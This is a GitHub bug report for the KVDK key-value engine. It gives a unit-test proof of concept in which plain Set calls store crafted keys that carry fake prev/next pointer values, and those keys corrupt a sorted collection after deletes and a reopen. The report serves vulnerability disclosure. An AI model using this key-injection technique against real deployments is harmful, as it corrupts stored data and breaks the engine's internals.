Security issue: User may use Set to inject vicious kv-pairs into engine to break SortedCollection.
ZiyanShi opened this issue · comments
Bug Report
KVDK version
System configuration
2 * Intel(R) Xeon(R) Platinum 8269C CPU @ 2.50GHz
CPU: 2 * Intel(R) Xeon(R) Platinum 8269C CPU @ 2.50GHz
DDR: 12 * DDR4 16384 MB 2666 MT/s
PMEM: 4 * 129408 MB 2666 MT/s
Reproduce steps
Add following code to test.cpp. Build and run.
TEST_F(EngineBasicTest, SortedCollectionSecurityIssue1) {
std::string const collection_name = "SortedCollection_01";
configs.pmem_segment_blocks = 16;
int num_threads = 1;
configs.max_write_threads = num_threads;
ASSERT_EQ(Engine::Open(db_path.c_str(), &engine, configs, stdout),
Status::Ok);
auto Check = [&]()
{
auto iter = engine->NewSortedIterator(collection_name);
size_t cnt = 0;
for (iter->SeekToLast(); iter->Valid(); iter->Prev())
++cnt;
ASSERT_EQ(cnt, 2)
<< "Two keys, aka \"c\" and \"d\" should be in the collection";
};
for (size_t i = 0; i < 10; i++)
{
std::uint64_t fake_prev = i;
std::uint64_t fake_next = 13;
std::string fake_key;
fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_prev), sizeof(decltype(fake_prev))});
fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_next), sizeof(decltype(fake_next))});
engine->Set(fake_key, "Vicious entries!");
}
engine->SSet(collection_name, "a", "To be deleted.");
engine->SSet(collection_name, "b", "To be deleted.");
engine->SSet(collection_name, "c", "Always here.");
engine->SSet(collection_name, "d", "Always here.");
engine->SDelete(collection_name, "b");
engine->SDelete(collection_name, "a");
for (size_t i = 10; i < 11; i++)
{
std::uint64_t fake_prev = i;
std::uint64_t fake_next = 13;
std::string fake_key;
fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_prev), sizeof(decltype(fake_prev))});
fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_next), sizeof(decltype(fake_next))});
engine->Set(fake_key, "Vicious entries!");
}
Check();
delete engine;
ASSERT_EQ(Engine::Open(db_path.c_str(), &engine, configs, stdout),
Status::Ok);
Check();
}
Expect behavior
Test case Success
Current behavior
Test case Fail
Notes
User may use this access pattern to break into internals of KVEngine.